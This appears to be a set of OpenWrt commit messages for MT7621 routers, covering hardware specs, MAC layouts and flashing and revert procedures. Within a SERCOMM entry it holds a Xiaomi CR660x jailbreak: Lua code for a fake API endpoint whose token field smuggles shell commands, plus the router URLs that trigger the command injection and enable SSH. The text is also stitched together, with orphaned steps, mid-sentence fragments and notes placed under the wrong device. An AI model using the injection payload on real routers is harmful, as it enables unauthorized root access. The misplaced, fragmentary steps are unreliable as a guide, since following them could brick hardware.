Installation
-----------------
1. Downgrade stock (Beeline) firmware to v.1.0.02;
2. Give factory OpenWrt image a shorter name, e.g. 1001.img;
3. Upload and update the firmware via the original web interface.

Remark: You might need make the 3rd step twice if your running firmware
is booted from the Slot 1 (Sercomm0 bootflag). The stock firmware
reverses the bootflag (Sercomm0 / Sercomm1) on each firmware update.

Revert to stock
---------------
1. Change the bootflag to Sercomm1 in OpenWrt CLI and then reboot:
      printf 1 | dd bs=1 seek=7 count=1 of=/dev/mtdblock3
2. Optional: Update with any stock (Beeline) firmware if you want to
   overwrite OpenWrt in Slot 0 completely.

The label MAC address was found in Factory 0x21000

Notes
-----
1. The following scripts are required for the build:
      sercomm-crypto.py - already exists in OpenWrt
      sercomm-partition-tag.py - already exists in OpenWrt
      sercomm-payload.py - already exists in OpenWrt
      sercomm-pid.py - new, the part of this pull request
      sercomm-kernel-header.py - new, the part of this pull request
2. This device (same as other Sercomm S2,S3-based devices) requires
   special LZMA and LOADADDR settings for successful boot:
      LZMA_TEXT_START=0x82800000
      KERNEL_LOADADDR=0x81001000
      LOADADDR=0x80001000
3. This device (same as several other Sercomm-based devices - Beeline,
   Netgear, Etisalat, Rostelecom) has partition map (mtd1) containing
   real partition offsets, which may differ from device to device
   depending on the number and location of bad blocks on NAND.
   "fixed-partitions" is used if the partition map is not found or
   corrupted. This behavour (it's the same as on stock firmware) is
   provided by MTD_SERCOMM_PARTS module.

79112e7d47 ramips: force ZyXEL NR7101 to boot from "Kernel" partition 
Make sure BootingFlag points to the system partition we install to.

The BootingFlag variable selects which system partition the system
boots from (0 => "Kernel", 1 => "Kernel2"). OpenWrt does not yet have
device specific support for this dual image scheme, and can therefore
only boot from "Kernel".

This has not been an issue until now, since all known OEM firmware
versions have ignored "Kernel2" - leaving the BootingFlag fixed at 0.
But the newest OEM firmware has a new upgrade procedure, installing
to the "inactive" system partition and setting BootingFlag accordingly.

This workaround is needed until the dual image scheme is fully
supported.

498c15376b ramips: add support for MTS WG430223 
MTS WG430223 is a wireless AC1300 (WiFi 5) router manufactured by
Arcadyan company. It's very similar to Beeline Smartbox Flash (Arcadyan
WG443223).

Device specification
--------------------
SoC Type: MediaTek MT7621AT
RAM: 128 MiB
Flash: 128 MiB (Winbond W29N01HV)
Wireless 2.4 GHz (MT7615DN): b/g/n, 2x2
Wireless 5 GHz (MT7615DN): a/n/ac, 2x2
Ethernet: 3xGbE (WAN, LAN1, LAN2)
USB ports: No
Button: 1 (Reset/WPS)

Power: 12 VDC, 1 A
Connector type: Barrel
Bootloader: U-Boot (Ralink UBoot Version: 5.0.0.2)
OEM: Arcadyan WG430223

Installation
------------
1. Login to the router web interface (superadmin:serial number)
2. Navigate to Administration -> Miscellaneous -> Access control lists &
   enable telnet & enable "Remote control from any IP address"
3. Connect to the router using telnet (default admin:admin)
4. Place *factory.trx on any web server (192.168.1.2 in this example)
5. Connect to the router using telnet shell (no password required)
6. Save MAC adresses to U-Boot environment:
   uboot_env --set --name eth2macaddr --value $(ifconfig | grep eth2 | \
    awk '{print $5}')
   uboot_env --set --name eth3macaddr --value $(ifconfig | grep eth3 | \
    awk '{print $5}')
   uboot_env --set --name ra0macaddr --value $(ifconfig | grep ra0 | \
    awk '{print $5}')
   uboot_env --set --name rax0macaddr --value $(ifconfig | grep rax0 | \
    awk '{print $5}')
7. Ensure that MACs were saved correctly:
   uboot_env --get --name eth2macaddr
   uboot_env --get --name eth3macaddr
   uboot_env --get --name ra0macaddr
   uboot_env --get --name rax0macaddr
8. Download and write the OpenWrt images:
   cd /tmp
   wget http://192.168.1.2/factory.trx
   mtd_write erase /dev/mtd4
   mtd_write write factory.trx /dev/mtd4
9. Set 1st boot partition and reboot:
   uboot_env --set --name bootpartition --value 0

Back to Stock
-------------
1. Run in the OpenWrt shell:
   fw_setenv bootpartition 1
   reboot
2. Optional step. Upgrade the stock firmware with any version to
   overwrite the OpenWrt in Slot 1.

[1]:
a. Label wasb't found neither in factory nor in other places.
b. MAC addresses are stored in encrypted partition "glbcfg". Encryption
   key hasn't known yet. To ensure the correct MACs in OpenWrt, a hack
   with saving of the MACs to u-boot-env during the installation was
   applied.
c. Default Ralink ethernet MAC address (00:0C:43:28:80:A0) was found in
   "Factory" 0xfff0. It's the same for all MTS WG430223 devices. OEM
   firmware also uses this MAC when initialazes ethernet driver. In
   OpenWrt we use it only as internal GMAC (eth0), all other MACs are
   unique. Therefore, there is no any barriers to the operation of several
   MTS WG430223 devices even within the same broadcast domain.

9ee6ac00c4 ramips: Add support for SERCOMM NA502S 
The SERCOMM NA502s is a smart home gateway manufactured by SERCOMM and sold
under different brands (among others, A1 Telekom Austria SmartHome Premium
Gateway). It has multi-protocol radio support in addition to LAN and WiFi.

Note: BLE and audio are currently unsupported.

Specifications
--------------

  - MT7621ST 880MHz, Single-Core, Dual-Thread
  - MT7603EN 2.4GHz WiFi
  - MT7662EN 5GHz WiFi + BLE
  - 128MiB NAND
  - 256MiB DDR3 RAM
  - SD3503 ZWave Controller
  - EM357 Zigbee Coordinator
  - Telit UMTS module
  - Rechargeable battery
  - speaker and microphone

MAC address assignment
----------------------

LAN MAC is read from the config partition, WiFi 2.4GHz is LAN+2 and matches
the OEM firmware. WiFi 5GHz with LAN+1 is an educated guess since the
OEM firmware does not enable 5GHz WiFi.

Installation
------------
Attach serial console, then boot the initramfs image via TFTP.
Once inside OpenWrt, run sysupgrade -n with the sysupgrade file.

Attention: The device has a dual-firmware design. We overwrite kernel2,
since kernel1 contains an automatic recovery image.

If you get NAND ECC errors and are stuck with bad eraseblocks, try to
erase the mtd partition first with

mtd unlock ubi
mtd erase ubi

This should only be needed once.

- UART: through-hole on PCB ([VCC 3.3v](RX)(GND)(TX) 115200, 8n1)
- Power: 12VDC, 1A

Jailbreak Notes:
1. Get shell access.
   1.1. Get yourself a wireless router that runs OpenWrt already.
   1.2. On the OpenWrt router:
      1.2.1. Access its console.
      1.2.2. Create and edit
             /usr/lib/lua/luci/controller/admin/xqsystem.lua
             with the following code (exclude backquotes and line no.):
```
     1  module("luci.controller.admin.xqsystem", package.seeall)
     2
     3  function index()
     4      local page   = node("api")
     5      page.target  = firstchild()
     6      page.title   = ("")
     7      page.order   = 100
     8      page.index = true
     9      page   = node("api","xqsystem")
    10      page.target  = firstchild()
    11      page.title   = ("")
    12      page.order   = 100
    13      page.index = true
    14      entry({"api", "xqsystem", "token"}, call("getToken"), (""),
103, 0x08)
    15  end
    16
    17  local LuciHttp = require("luci.http")
    18
    19  function getToken()
    20      local result = {}
    21      result["code"] = 0
    22      result["token"] = "; nvram set ssh_en=1; nvram commit; sed -i
's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/drop
bear start;"
    23      LuciHttp.write_json(result)
    24  end
```
      1.2.3. Browse http://{OWRT_ADDR}/cgi-bin/luci/api/xqsystem/token
             It should give you a respond like this:
             {"code":0,"token":"; nvram set ssh_en=1; nvram commit; ..."}
             If so, continue; Otherwise, check the file, reboot the rout-
             er, try again.
      1.2.4. Set wireless network interface's IP to 169.254.31.1, turn
             off DHCP of wireless interface's zone.
      1.2.5. Connect to the router wirelessly, manually set your access
             device's IP to 169.254.31.3, make sure
             http://169.254.31.1/cgi-bin/luci/api/xqsystem/token
             still have a similar result as 1.2.3 shows.
   1.3. On the Xiaomi CR660x:
        1.3.1. Login to the web interface. Your would be directed to a
               page with URL like this:
               http://{ROUTER_ADDR}/cgi-bin/luci/;stok={STOK}/web/home#r-
               outer
        1.3.2. Browse this URL with {STOK} from 1.3.1, {WIFI_NAME}
               {PASSWORD} be your OpenWrt router's SSID and password:
               http://{MIROUTER_ADDR}/cgi-bin/luci/;stok={STOK}/api/misy-
               stem/extendwifi_connect?ssid={WIFI_NAME}&password={PASSWO-
               RD}
               It should return 0.
        1.3.3. Browse this URL with {STOK} from 1.3.1:
               http://{MIROUTER_ADDR}/cgi-bin/luci/;stok={STOK}/api/xqsy-
               stem/oneclick_get_remote_token?username=xxx&password=xxx&-
               nonce=xxx
   1.4. Before rebooting, you can now access your CR660x via SSH.
        For CR6606, you can calculate your root password by this project:
        https://github.com/wfjsw/xiaoqiang-root-password, or at
        https://www.oxygen7.cn/miwifi.
        The root password for carrier-specific models should be the admi-
        nistration password or the default login password on the label.
        It is also feasible to change the root password at the same time
        by modifying the script from step 1.2.2.
        You can treat OpenWrt Router however you like from this point as
        long as you don't mind go through this again if you have to expl-
        oit it again. If you do have to and left your OpenWrt router unt-
        ouched, start from 1.3.
2. There's no official binary firmware available, and if you lose the
   content of your flash, no one except Xiaomi can help you.
   Dump these partitions in case you need them:
   "Bootloader" "Nvram" "Bdata" "crash" "crash_log"
   "firmware" "firmware1" "overlay" "obr"
   Find the corespond block device from /proc/mtd
   Read from read-only block device to avoid misoperation.
   It's recommended to use /tmp/syslogbackup/ as destination, since files
   would be available at http://{ROUTER_ADDR}/backup/log/YOUR_DUMP
   Keep an eye on memory usage though.
3. Since UART access is locked ootb, you should get UART access by modify
   uboot env. Otherwise, your router may become bricked.
   Excute these in stock firmware shell:
    a. nvram set boot_wait=on
    b. nvram set bootdelay=3
    c. nvram commit
   Or in OpenWrt:
    a. opkg update && opkg install kmod-mtd-rw
    b. insmod mtd-rw i_want_a_brick=1
    c. fw_setenv boot_wait on
    d. fw_setenv bootdelay 3
    e. rmmod mtd-rw

Migrate to OpenWrt:
 1. Transfer squashfs-firmware.bin to the router.
 2. nvram set flag_try_sys1_failed=0
 3. nvram set flag_try_sys2_failed=1
 4. nvram commit
 5. mtd -r write /path/to/image/squashfs-firmware.bin firmware

Additional Info:
 1. CR660x series routers has a different nand layout compared to other
    Xiaomi nand devices.
 2. This router has a relatively fresh uboot (2018.09) compared to other
    Xiaomi devices, and it is capable of booting fit image firmware.
    Unfortunately, no successful attempt of booting OpenWrt fit image
    were made so far. The cause is still yet to be known. For now, we use
    legacy image instead.

e0a574d4b7 ramips: add support for Linksys EA6350 v4 
Specifications:
- SoC: MT7621DAT (880MHz, 2 Cores)
- RAM: 128 MB
- Flash: 128 MB NAND
- Ethernet: 5x 1GiE MT7530
- WiFi: MT7603/MT7613
- USB: 1x USB 3.0

This is another MT7621 device, very similar to other Linksys EA7300
series devices.

Installation:

Upload the generated factory.bin image via the stock web firmware
updater.

Reverting to factory firmware:

Like other EA7300 devices, this device has an A/B router configuration
to prevent bricking.  Hard-resetting this device three (3) times will
put the device in failsafe (default) mode.  At this point, flash the
OEM image to itself and reboot.  This puts the router back into the 'B'
image and allows for a firmware upgrade.

Troubleshooting:

If the firmware will not boot, first restore the factory as described
above.  This will then allow the factory.bin update to be applied
properly.

bc7d36ba3a ramips: add support for RAISECOM MSG1500 X.00 
RAISECOM MSG1500 X.00 is a 2.4/5 GHz band 11ac (Wi-Fi 5) router.
Apart from the general model, there are two ISP customized models:
China Mobile and China Telecom.

Specifications:

- SoC: Mediatek MT7621AT
- RAM: 256MiB DDR3
- Flash: 128MiB NAND
- Ethernet: 5 * 10/100/1000Mbps: 4 * LAN + 1 * WAN
  - Switch: MediaTek MT7530 (SoC)
- WLAN: 1 * MT7615DN Dual-Band 2.4GHz 2T2R (400Mbps) 5GHz 2T2R (867Mbps)
- USB: 1 * USB 2.0 port
- Button: 1 * RESET button, 1 * WPS button, 1 * WIFI button
- LED: blue color: POWER, WAN, WPS, 2.4G, 5G, LAN1, LAN2, LAN3, LAN4, USB
- UART: 1 * serial port header (4-pin)
- Power: DC 12V, 1A
  - Switch: 1 * POWER switch

MAC addresses as verified by vendor firmware:

use   address             source
LAN   C8:XX:XX:3A:XX:E7   Config   "protest_lan_mac"  ascii  (label)
WAN   C8:XX:XX:3A:XX:EA   Config   "protest_wan_mac"  ascii
5G    C8:XX:XX:3A:XX:E8   Factory  "0x4"              hex
2.4G  CA:XX:XX:4A:XX:E8   [not on flash]

The increment of the 4th byte for the 2.4g address appears to vary.
Reported cases:

       5g                 2.4g         increment
 C8:XX:XX:90:XX:C3  CA:XX:XX:C0:XX:C3  0x30
 C8:XX:XX:3A:XX:08  CA:XX:XX:4A:XX:08  0x10
 C8:XX:XX:3A:XX:E8  CA:XX:XX:4A:XX:E8  0x10

Since increment is inconsistent and there is no obvious pattern
in swapping bytes, and the 2.4g address has local bit set anyway,
it seems safer to use the LAN address with flipped byte here in
order to prevent collisions between OpenWrt devices and OEM devices
for this interface. This way we at least use an address as base
that is definitely owned by the device at hand.

Notes:

1. The vendor firmware allows you to connect to the router by telnet.
   (known version 1.0.0 can open telnet.)
   There is no official binary firmware available.
   Backup the important partitions data:
   "Bootloader", "Config", "Factory", and "firmware".
   Note that with the vendor firmware the memory is detected only 128MiB
   and the last 512KiB in NAND flash is not used.

2. The POWER LED is default on after press POWER switch.
   The WAN and LAN1 - 4 LEDs are wired to ethernet switch.
   The WPS LED is controlled by MT7615DN's GPIO.
   Currently there is no proper way to configure it.

3. At the time of adding support the wireless config needs to be set up
   by editing the wireless config file:

 * Setting the country code is mandatory, otherwise the router loses
   connectivity at the next reboot. This is mandatory and can be done
   from luci. After setting the country code the router boots correctly.
   A reset with the reset button will fix the issue and the user has to
   reconfigure.

 * This is minor since the 5g interface does not come up online although
   it is not set as disabled. 2 options here:

   1- Either run the "wifi" command. Can be added from LuCI in system -
      startup - local startup and just add wifi above "exit 0".

   2- Or add the serialize option in the wireless config file as shown
      below. This one would work and bring both interfaces automatically
      at every boot:

      config wifi-device 'radio0'
          option serialize '1'

      config wifi-device 'radio1'
          option serialize '1'

Flash instructions using initramfs image:

1. Press POWER switch to power down if the router is running.

2. Connect PC to one of LAN ports, and set
   static IP address to "10.10.10.2", netmask to "255.255.255.0",
   and gateway to "10.10.10.1" manually on the PC.

3. Push and hold the WIFI button, and then power up the router.
   After about 10s (or you can call the recovery page, see "4" below)
   you can release the WIFI button.
   There is no clear indication when the router
   is entering or has entered into "RAISECOM Router Recovery Mode".

4. Call the recovery page for the router at "http://10.10.10.1".
   Keep an eye on the "WARNING!! tip" of the recovery page.
   Click "Choose File" to select initramfs image, then click "Upload".

5. If image is uploaded successfully, you will see the page display
   "Device is upgrading the firmware... %".
   Keep an eye on the "WARNING!! tip" of the recovery page.
   When the page display "Upgrade Successfully",
   you can set IP address as "automatically obtain".

6. After the rebooting (PC should automatically obtain an IP address),
   open the SSH connection, then download the sysupgrade image
   to the router and perform sysupgrade with it.

Flash back to vendor firmware:

 See "Flash instructions 1 - 5" above.
 The only difference is that in step 4
 you should select the vendor firmware which you backup.

4. On the initramfs image, download the sysupgrade.bin image to the
   device and perform sysupgrade with it
5. Wait ~120 seconds to complete flashing

Notes:

- The hardware of WN-DX2033GR and WN-AX2033GR are almost the same, and
  it is certified under the same radio-wave related regulations in Japan

- The last 0x80000 (512 KiB) in NAND flash is not used on stock firmware

- stock firmware requires "customized uImage header" (called as "combo
  image") by MSTC (MitraStar Technology Corp.), but U-Boot doesn't

  - uImage magic ( 0x0 - 0x3 ) : 0x434F4D42 ("COMB")
  - header crc32 ( 0x4 - 0x7 ) : with "data length" and "data crc32"
  - image name   (0x20 - 0x37) : model ID and firmware versions
  - data length  (0x38 - 0x3b) : kernel + rootfs
  - data crc32   (0x3c - 0x3f) : kernel + rootfs

- There are 2x important flags in the flash:

  - bootnum   : select os partition for booting (persist, 0x4)

    - 0x01: firmware
    - 0x02: firmware_2

  - debugflag : allow interrupt kernel loader, it's named as "Z-LOADER"
    (Factory, 0xFE75)

    - 0x00: disable debug
    - 0x01: enable debug

6639623e75 ramips: add support for D-Link DIR-853 A3 
Specifications:
* SoC: MT7621AT
* RAM: 256MB
* Flash: 128MB NAND flash
* WiFi: MT7615DN (2.4GHz+5Ghz) with DBDC
* LAN: 5x1000M
* Firmware layout is Uboot with extra 96 bytes in header
* Base PCB is DIR-1360 REV1.0
* LEDs Power Blue+Orange,Wan Blue+Orange,WPS Blue,"2.4G"Blue, "5G" Blue,
  USB Blue
* Buttons Reset,WPS, Wifi

MAC addresses on OEM firmware:

lan      factory 0xe000   f4:*:*:a8:*:65  (label)
wan      factory 0xe006   f4:*:*:a8:*:68
2.4 GHz  [not on flash]   f6:*:*:c8:*:66
5.0 GHz  factory 0x4      f4:*:*:a8:*:66

The increment of the 4th byte for the 2.4g address appears to vary.
Reported cases:

       5g                 2.4g         increment
 f4:XX:XX:a8:XX:66  f6:XX:XX:c8:XX:66  +0x20
 x0:xx:xx:68:xx:xx  x2:xx:xx:48:xx:xx  -0x20
 x4:xx:xx:6a:xx:xx  x6:xx:xx:4a:xx:xx  -0x20

Since increment is inconsistent and there is no obvious pattern
in swapping bytes, and the 2.4g address has local bit set anyway,
it seems safer to use the LAN address with flipped byte here in
order to prevent collisions between OpenWrt devices and OEM devices
for this interface. This way we at least use an address as base
that is definitely owned by the device at hand.

Flashing instruction:

The Dlink "Emergency Room" cannot be accessed through the reset
button on this device. You can either use console or use the
encrypted factory image availble in the openwrt forum.

Once the encrypted image is flashed throuh the stock Dlink web
interface, the sysupgrade images can be used.

Header pins needs to be soldered near the WPS and Wifi buttons.

The layout for the pins is (VCC,RX,TX,GND). No need to connect the VCC.

the settings are:

Bps/Par/Bits          : 57600 8N1
Hardware Flow Control : No
Software Flow Control : No

Connect your client computer to LAN1 of the device
Set your client IP address manually to 192.168.0.101 / 255.255.255.0.
Call the recovery page or tftp for the device at http://192.168.0.1
Use the provided emergency web GUI to upload and flash a new firmware to
the device

At the time of adding support the wireless config needs to be set up by
editing the wireless config file:

 * Setting the country code is mandatory, otherwise the router loses
   connectivity at the next reboot. This is mandatory and can be done
   from luci. After setting the country code the router boots correctly.
   A reset with the reset button will fix the issue and the user has to
   reconfigure.

 * This is minor since the 5g interface does not come up online although
   it is not set as disabled. 2 options here:

   1- Either run the "wifi" command. Can be added from LUCI in system -
      startup - local startup and just add wifi above "exit 0".

   2- Or add the serialize option in the wireless config file as shown
      below. This one would work and bring both interfaces automatically
      at every boot:

      config wifi-device 'radio0'
          option serialize '1'

      config wifi-device 'radio1'
          option serialize '1'

- Flash: 128MB NAND
- Ethernet: 5 Gigabit ports
- WiFi: 2.4G/5G MT7615N
- USB: 1 USB 3.0, 1 USB 2.0

This device is very similar to the EA7300 v1/v2, EA7500 v2, and EA8100 v1.

Installation:

Upload the generated factory image through the factory web interface.

(following part taken from EA7300 v2 commit message:)

This might fail due to the A/B nature of this device. When flashing, OEM
firmware writes over the non-booted partition. If booted from 'A',
flashing over 'B' won't work. To get around this, you should flash the
OEM image over itself. This will then boot the router from 'B' and
allow you to flash OpenWRT without problems.

Reverting to factory firmware:

Hard-reset the router three times to force it to boot from 'B.' This is
where the stock firmware resides. To remove any traces of OpenWRT from
your router simply flash the OEM image at this point.

The SERCOMM NA502 is a smart home gateway manufactured by SERCOMM and sold
under different brands (among others, A1 Telekom Austria SmartHome
Gateway). It has multi-protocol radio support in addition to LAN and WiFi.

Note: BLE is currently unsupported.

Specifications
--------------

  - MT7621ST 880MHz, Single-Core, Dual-Thread
  - MT7603EN 2.4GHz WiFi
  - MT7662EN 5GHz WiFi + BLE
  - 128MiB NAND
  - 256MiB DDR3 RAM
  - SD3503 ZWave Controller
  - EM357 Zigbee Coordinator

MAC address assignment
----------------------

LAN MAC is read from the config partition, WiFi 2.4GHz is LAN+2 and matches
the OEM firmware. WiFi 5GHz with LAN+1 is an educated guess since the
OEM firmware does not enable 5GHz WiFi.

Installation
------------
Attach serial console, then boot the initramfs image via TFTP.
Once inside OpenWrt, run sysupgrade -n with the sysupgrade file.

Attention: The device has a dual-firmware design. We overwrite kernel2,
since kernel1 contains an automatic recovery image.

If you get NAND ECC errors and are stuck with bad eraseblocks, try to
erase the mtd partition first with

mtd unlock ubi

Amped Wireless ALLY is a whole-home WiFi kit, with a router (model
ALLY-R1900K) and an Extender (model ALLY-00X19K).  Both are devices are
11ac and based on MediaTek MT7621AT and MT7615N chips.  The units are
nearly identical, except the Extender lacks a USB port and has a single
Ethernet port.

Specification:
- SoC: MediaTek MT7621AT (2C/4T) @ 880MHz
- RAM: 128MB DDR3 (Nanya NT5CC64M16GP-DI)
- FLASH: 128MB NAND (Winbond W29N01GVSIAA)
- WiFi: 2.4/5 GHz 4T4R
  - 2.4GHz MediaTek MT7615N bgn
  - 5GHz MediaTek MT7615N nac
- Switch: SoC integrated Gigabit Switch
- USB: 1x USB3 (Router only)
- BTN: Reset, WPS
- LED: single RGB
- UART:  through-hole on PCB.
   J1: pin1 (square pad, towards rear)=3.3V, pin2=RX,
   pin3=GND, pin4=TX.  Settings: 57600/8N1.

Note regarding dual system partitions
-------------------------------------

The vendor firmware and boot loader use a dual partition scheme.  The boot
partition is decided by the bootImage U-boot environment variable: 0 for
the 1st partition, 1 for the 2nd.

OpenWrt does not support this scheme and will always use the first OS
partition.  It will set bootImage to 0 during installation, making sure
the first partition is selected by the boot loader.

Also, because we can't be sure which partition is active to begin with, a
2-step flash process is used.  We first flash an initramfs image, then
follow with a regular sysupgrade.

Installation:

Router (ALLY-R1900K)
1) Install the flashable initramfs image via the OEM web-interface.
  (Alternatively, you can use the TFTP recovery method below.)
  You can use WiFi or Ethernet.
  The direct URL is:  http://192.168.3.1/07_06_00_firmware.html
  a. No login is needed, and you'll be in their setup wizard.
  b. You might get a warning about not being connected to the Internet.
  c. Towards the bottom of the page will be a section entitled "Or
  Manually Upgrade Firmware from a File:" where you can manually choose
  and upload a firmware file.
  d: Click "Choose File", select the OpenWRT "initramfs" image and click
  "Upload."
2) The Router will flash the OpenWrt initramfs image and reboot.  After
  booting, LuCI will be available on 192.168.1.1.
3) Log into LuCI as root; there is no password.
4) Optional (but recommended) is to backup the OEM firmware before
  continuing; see process below.
5) Complete the Installation by flashing a full OpenWRT image.  Note:
  you may use the sysupgrade command line tool in lieu of the UI if
  you prefer.
  a.  Choose System -> Backup/Flash Firmware.
  b.  Click "Flash Image..." under "Flash new firmware image"
  c.  Click "Browse..." and then select the sysupgrade file.
  d.  Click Upload to upload the sysupgrade file.
  e.  Important:  uncheck "Keep settings and retain the current
      configuration" for this initial installation.
  f.  Click "Continue" to flash the firmware.
  g.  The device will reboot and OpenWRT is installed.

Extender (ALLY-00X19K)
1) This device requires a TFTP recovery procedure to do an initial load
  of OpenWRT.  Start by configuring a computer as a TFTP client:
  a. Install a TFTP client (server not necessary)
  b. Configure an Ethernet interface to 192.168.1.x/24; don't use .1 or .6
  c. Connect the Ethernet to the sole Ethernet port on the X19K.
2) Put the ALLY Extender in TFTP recovery mode.
  a. Do this by pressing and holding the reset button on the bottom while
  connecting the power.
  b. As soon as the LED lights up green (roughly 2-3 seconds), release
  the button.
3) Start the TFTP transfer of the Initramfs image from your setup machine.
For example, from Linux:
tftp -v -m binary 192.168.1.6 69 -c put initramfs.bin
4) The Extender will flash the OpenWrt initramfs image and reboot.  After
booting, LuCI will be available on 192.168.1.1.
5) Log into LuCI as root; there is no password.
6) Optional (but recommended) is to backup the OEM firmware before
  continuing; see process below.
7) Complete the Installation by flashing a full OpenWRT image.  Note: you
may use the sysupgrade command line tool in lieu of the UI if you prefer.
  a.  Choose System -> Backup/Flash Firmware.
  b.  Click "Flash Image..." under "Flash new firmware image"
  c.  Click "Browse..." and then select the sysupgrade file.
  d.  Click Upload to upload the sysupgrade file.
  e.  Important:  uncheck "Keep settings and retain the current
      configuration" for this initial installation.
  f.  Click "Continue" to flash the firmware.
  g.  The device will reboot and OpenWRT is installed.

Backup the OEM Firmware:
-----------------------

There isn't any downloadable firmware for the ALLY devices on the Amped
Wireless web site. Reverting back to the OEM firmware is not possible
unless we have a backup of the original OEM firmware.

The OEM firmware may be stored on either /dev/mtd3 ("firmware") or
/dev/mtd6 ("oem").  We can't be sure which was overwritten with the
initramfs image, so backup both partitions to be safe.

  1) Once logged into LuCI, navigate to System -> Backup/Flash Firmware.
  2) Under "Save mtdblock contents," first select "firmware" and click
  "Save mtdblock" to download the image.
  3) Repeat the process, but select "oem" from the pull-down menu.

Revert to the OEM Firmware:
--------------------------
* U-boot TFTP:
  Follow the TFTP recovery steps for the Extender, and use the
  backup image.

* OpenWrt "Flash Firmware" interface:
  Upload the backup image and select "Force update"
  before continuing.

should have been running from alt_firmware partition. To get the device
booted through alt_firmware partition, download the OEM firmware from
Linksys website and upgrade the firmware from web GUI. Once this is done,
flash the OpenWrt Factory firmware from web GUI.

Reverting to factory firmware:

1. Boot to 'alt_firmware'(where stock firmware resides) by doing one of
   the following:
   Press the "wps" button as soon as power LED turns on when booting.
   (OR) Hard-reset the router consecutively three times to force it to
   boot from 'alt_firmware'.
2. To remove any traces of OpenWRT from your router simply flash the OEM
   image at this point.

WARNING!!

ISP managed firmware might at any time update itself to a version
where all known workarounds have been disabled.  Never boot an ISP
managed firmware with a SIM in any of the slots if you intend to use
the router with OpenWrt. The bootloader lock can only be disabled with
root access to running firmware. The flash chip is physically
inaccessible without soldering.

Installation from OEM web GUI:

- Log in as "supervisor" on https://172.17.1.1/
- Upload OpenWrt initramfs-recovery.bin image on the
  Maintenance -> Firmware page
- Wait for OpenWrt to boot and ssh to root@192.168.1.1
- (optional) Copy OpenWrt to the recovery partition. See below
- Sysupgrade to the OpenWrt sysupgrade image and reboot

Installation from OEM ssh:

- Log in as "root" on 172.17.1.1 port 22022
- scp OpenWrt initramfs-recovery.bin image to 172.17.1.1:/tmp
- Prepare bootloader config by running:
    nvram setro uboot DebugFlag 0x1
    nvram setro uboot CheckBypass 0
    nvram commit
- Run "mtd_write -w write initramfs-recovery.bin Kernel" and reboot
- Wait for OpenWrt to boot and ssh to root@192.168.1.1
- (optional) Copy OpenWrt to the recovery partition. See below
- Sysupgrade to the OpenWrt sysupgrade image and reboot

Copying OpenWrt to the recovery partition:

- Verify that you are running a working OpenWrt recovery image
  from flash
- ssh to root@192.168.1.1 and run:
    fw_setenv CheckBypass 0
    mtd -r erase Kernel2
- Wait while the bootloader mirrors Image1 to Image2

NOTE: This should only be done after successfully booting the OpenWrt
  recovery image from the primary partition during installation.  Do
  not do this after having sysupgraded OpenWrt!  Reinstalling the
  recovery image on normal upgrades is not required or recommended.

Installation from Z-Loader:

- Halt boot by pressing Escape on console
- Set up a tftp server to serve the OpenWrt initramfs-recovery.bin
  image at 10.10.10.3
- Type "ATNR 1,initramfs-recovery.bin" at the "ZLB>" prompt
- Wait for OpenWrt to boot and ssh to root@192.168.1.1
- Sysupgrade to the OpenWrt sysupgrade image

NOTE: ATNR will write the recovery image to both primary and recovery
  partitions in one go.

Booting from RAM:

- Halt boot by pressing Escape on console
- Type "ATGU" at the "ZLB>" prompt to enter the U-Boot menu
- Press "4" to select "4: Entr boot command line interface."
- Set up a tftp server to serve the OpenWrt initramfs-recovery.bin
  image at 10.10.10.3
- Load it using "tftpboot 0x88000000 initramfs-recovery.bin"
- Boot with "bootm  0x8800017C" to skip the 380 (0x17C) bytes ZyXEL
  header

This method can also be used to RAM boot OEM firmware. The warning
regarding OEM applies!  Never boot an unknown OEM firmware, or any OEM
firmware with a SIM in any slot.

NOTE: U-Boot configuration is incomplete (on some devices?). You may
  have to configure a working mac address before running tftp using
   "setenv eth0addr <mac>"

Unlocking the bootloader:

If you are unebale to halt boot, then the bootloader is locked.

The OEM firmware locks the bootloader on every boot by setting
DebugFlag to 0.  Setting it to 1 is therefore only temporary
when OEM firmware is installed.

- Run "nvram setro uboot DebugFlag 0x1; nvram commit" in OEM firmware
- Run "fw_setenv DebugFlag 0x1" in OpenWrt

  NOTE:
    OpenWrt does this automatically on first boot if necessary

  NOTE2:
    Setting the flag to 0x1 avoids the reset to 0 in known OEM
    versions, but this might change.

  WARNING:
    Writing anything to flash while the bootloader is locked is
    considered extremely risky. Errors might cause a permanent
    brick!

Enabling management access from LAN:

Temporary workaround to allow installing OpenWrt if OEM firmware
has disabled LAN management:

- Connect to console
- Log in as "root"
- Run "iptables -I INPUT -i br0 -j ACCEPT"

Notes on the OEM/bootloader dual partition scheme

The dual partition scheme on this device uses Image2 as a recovery
image only. The device will always boot from Image1, but the
bootloader might copy Image2 to Image1 under specific conditions. This
scheme prevents repurposing of the space occupied by Image2 in any
useful way.

Validation of primary and recovery images is controlled by the
variables CheckBypass, Image1Stable, and Image1Try.

The bootloader sets CheckBypass to 0 and reboots if Image1 fails
validation.

If CheckBypass is 0 and Image1 is invalid then Image2 is copied to
Image1.

If CheckBypass is 0 and Image2 is invalid, then Image1 is copied to
Image2.

If CheckBypass is 1 then all tests are skipped and Image1 is booted
unconditionally.  CheckBypass is set to 1 after each successful
validation of Image1.

Image1Try is incremented if Image1Stable is 0, and Image2 is copied to
Image1 if Image1Try is 3 or larger.  But the bootloader only tests
Image1Try if CheckBypass is 0, which is impossible unless the booted
image sets it to 0 before failing.

The system is therefore not resilient against runtime errors like
failure to mount the rootfs, unless the kernel image sets CheckBypass
to 0 before failing. This is not yet implemented in OpenWrt.

Setting Image1Stable to 1 prevents the bootloader from updating
Image1Try on every boot, saving unnecessary writes to the environment
partition.

Keeping an OpenWrt initramfs recovery as Image2 is recommended
primarily to avoid unwanted OEM firmware boots on failure. Ref the
warning above. It enables console-less recovery in case of some
failures to boot from Image1.

7a181a65f2 treewide: fix initramfs detection 
Commit "initramfs: switch to tmpfs to fix ujail" switched initramfs to
now use tmpfs, it causes $(rootfs_type) to now return tmpfs when
running initramfs image instead of being empty.

This broke initramfs detection which is required so that when installing
on MikroTik devices firmware partition would first get erased fully
before writing.

So, lets test for $(rootfs_type) returning "tmpfs" instead.

Flash factory image through GUI.

This might fail due to the A/B nature of this device. When flashing, OEM
firmware writes over the non-booted partition. If booted from 'A',
flashing over 'B' won't work. To get around this, you should flash the
OEM image over itself. This will then boot the router from 'B' and
allow you to flash OpenWRT without problems.

Reverting to factory firmware:

Hard-reset the router three times to force it to boot from 'B.' This is
where the stock firmware resides. To remove any traces of OpenWRT from
